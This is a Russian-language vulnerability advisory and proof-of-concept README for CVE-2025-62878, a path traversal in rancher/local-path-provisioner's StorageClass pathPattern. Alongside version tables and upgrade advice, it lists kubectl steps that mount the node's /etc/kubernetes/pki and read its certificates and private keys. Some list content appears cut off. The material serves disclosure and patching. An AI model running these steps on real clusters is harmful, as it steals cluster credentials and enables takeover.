
CVE-2025-62878
| Элемент | Значение |
|---|---|
| CVE ID | CVE-2025-62878 |
| GHSA ID | GHSA-jr3w-9vfr-c746 |
| Уровень опасности | Критический (CVSS 10.0) |
| CWE | CWE-23 (относительный обход пути) |
| Затронутый компонент | rancher/local-path-provisioner |
| Затронутые версии | v0.0.27 ~ v0.0.32 |
| Исправленные версии | v0.0.33+ |
Уязвимость обхода пути существует в параметре pathPattern ресурса StorageClass. Злоумышленник может манипулировать параметром pathPattern, используя элементы относительного пути (например, ../), для создания PersistentVolumes, указывающих на произвольные расположения на узле, в обход ограничения настроенной базовой директории.
Это позволяет атакующим:
/etc/kubernetes/pki/)| Версия | Дата выпуска | Поддержка pathPattern | Уязвимость |
|---|---|---|---|
| v0.0.26 | 2023-12-03 | Нет | Безопасна (функция отсутствует) |
| v0.0.27 | 2024-05-29 | Да | Уязвима |
| v0.0.28 | 2024-06-19 | Да | Уязвима |
| v0.0.29 | 2024-09-03 | Да | Уязвима |
| v0.0.30 | 2024-10-07 | Да | Уязвима |
| v0.0.31 | 2025-01-24 | Да | Уязвима |
| v0.0.32 | 2025-07-31 | Да | Уязвима |
| v0.0.33 | 2025-12-25 | Да | Исправлена |
| v0.0.34 | 2026-01-06 | Да | Исправлена |
Примечание: Официальный GitHub Advisory утверждает, что затронуты версии "< 0.0.34", но наши тесты подтверждают:
| Событие | Дата |
|---|---|
| Функция pathPattern добавлена | 2024-05-26 (коммит af85381) |
| Первый уязвимый релиз (v0.0.27) | 2024-05-29 |
| Коммит с исправлением | 2025-12-24 (коммит 1ed6b54) |
| Первый исправленный релиз (v0.0.33) | 2025-12-25 |
| CVE опубликован | 2026-02-04 |
Подробные шаги воспроизведения и скрипты см. в каталоге exploit/.
# 1. Install vulnerable version
kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.30/deploy/local-path-storage.yaml
# 2. Apply exploit
kubectl apply -f exploit/malicious-storageclass.yaml
kubectl apply -f exploit/malicious-pvc.yaml
kubectl apply -f exploit/exploit-pod.yaml
# 3. Verify exploitation
kubectl get pv -o jsonpath='{.items[0].spec.hostPath.path}'
# Output: /etc/kubernetes/pki
kubectl exec pki-exploit-pod -- ls -la /stolen-pki/
# Shows Kubernetes PKI certificates and private keys
Обновитесь до v0.0.33 или более поздней версии:
kubectl apply -f https://raw.githubusercontent.com/rancher/local-path-provisioner/v0.0.33/deploy/local-path-storage.yaml